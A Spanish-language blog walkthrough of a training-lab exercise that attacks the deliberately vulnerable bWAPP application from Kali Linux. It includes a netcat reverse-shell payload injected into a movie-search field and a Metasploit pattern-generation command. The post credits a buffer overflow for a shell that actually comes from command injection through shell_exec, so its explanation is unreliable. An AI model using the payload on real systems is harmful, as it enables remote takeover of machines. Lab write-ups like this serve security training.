Buffer Overflow en máquina bWAPP

1. Introducción

Este post es la resolución al ejercicio: https://github.com/breatheco-de/buffer-overflow-exploit-project.git

Este ejercicio tiene como objetivo aprender a identificar y explotar vulnerabilidades de buffer overflow. A través de este proyecto entenderás cómo los desbordamientos de buffer pueden ser utilizados para ejecutar código arbitrario, así como a aplicar técnicas de explotación para comprometer la seguridad de la aplicación.

Requisitos

  • Máquina Kali (atacante)
  • Máquina Beebox

2. Verificar la Vulnerabilidad de desbordamiento de búfer

Ingresa un nombre de película que esté en la base de datos de bWAPP (por ejemplo, Hulk, Iron Man).

Luego ingresa un nombre de película que no esté en la base de datos (por ejemplo, Harry Potter).

Ejecuta el siguiente comando para ver el contenido del archivo bof_1.php:

cat /var/www/bWAPP/bof_1.php

 

El objetivo es entender cómo se maneja el input del título de la película y cómo se pasa como argumento de línea de comandos a la aplicación. El código que vemos tiene los siguientes campos vulnerables:

  1. Entrada del usuario sin validación adecuada:
    • El campo title del formulario se pasa directamente a una aplicación externa (movie_search)
    • La línea crítica es: echo shell_exec(«./apps/movie_search » . $title);
  2. Problema potencial:
    • La aplicación C++ movie_search probablemente no valida la longitud de la entrada
    • Si el búfer en movie_search tiene tamaño fijo, un título muy largo podría desbordarlo

3. Generar y usar la Cadena de Explotación

Generar la cadena de explotación ejecutando el siguiente comando en Kali para generar una cadena que te ayudará a identificar el desbordamiento de búfer:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 360

Guarda la cadena generada en un archivo llamado pattern_chain.txt:

Inicia un servidor HTTP en Kali para transferir el archivo:

python3 -m http.server 8080

Descarga el archivo pattern_chain.txt en BeeBox usando wget:

wget http://[IP-DE-KALI]:8080/pattern_chain.txt

Lee el contenido del archivo descargado en BeeBox:

cat pattern_chain.txt

(en la screenshot lo descargo y leo desde una reverse Shell simple que obtuve anteriormente para controlar la máquina bWAPP desde la terminal de Kali)

4. Inyectar la cadena de explotación y el payload

Usa la cadena generada con pattern_create.rb en el campo o parámetro que pueda causar el desbordamiento de búfer en bWAPP.

El objetivo es ver cómo responde la aplicación a una entrada que excede el tamaño esperado.

imagen 1

Ejecuta un listener en Kali para recibir la shell remota:

 

Para obtener una shell remota, inyecta el siguiente payload en el campo que causa el desbordamiento:

$(nc -e /bin/bash [IP-DE-KALI] 4444)

 

Confirmar la conexión en Kali. Si el exploit es exitoso, deberías ver una conexión en el listener de Kali y recibir un prompt de Bash.

5. Verificar los Logs del Servidor

Revisa los logs del servidor web en BeeBox para cualquier mensaje relacionado con el desbordamiento de búfer:

sudo cat /var/log/apache2/error.log

6. Conclusión

Este ejercicio demostró de manera práctica cómo explotar una vulnerabilidad de desbordamiento de búfer en la aplicación bWAPP, aprovechando la falta de validación de entradas en el campo de búsqueda de películas. A través de los pasos realizados, se evidenció que:

  1. La entrada no sanitizada del usuario se pasa directamente a una aplicación externa (movie_search), lo que permitió inyectar una cadena maliciosa y desbordar el búfer.
  2. Herramientas como Metasploit (pattern_create.rb) y Netcat fueron esenciales para generar la cadena de explotación, obtener una shell remota y confirmar la ejecución de código arbitrario.
  3. La revisión de los logs del servidor (/var/log/apache2/error.log) confirmó el error de segmentación, validando el éxito del exploit.

Este caso subraya la importancia de implementar medidas de seguridad robustas, como:

  • Validar y sanitizar todas las entradas del usuario.
  • Utilizar técnicas como ASLR (Address Space Layout Randomization) o DEP (Data Execution Prevention).
  • Realizar pruebas de penetración y auditorías de código periódicas.

El ejercicio no solo refuerza el entendimiento de los riesgos asociados a los buffer overflows, sino también la necesidad de adoptar prácticas de desarrollo seguro para mitigar ataques similares en entornos reales.

Comparte esta Publicación en Redes Sociales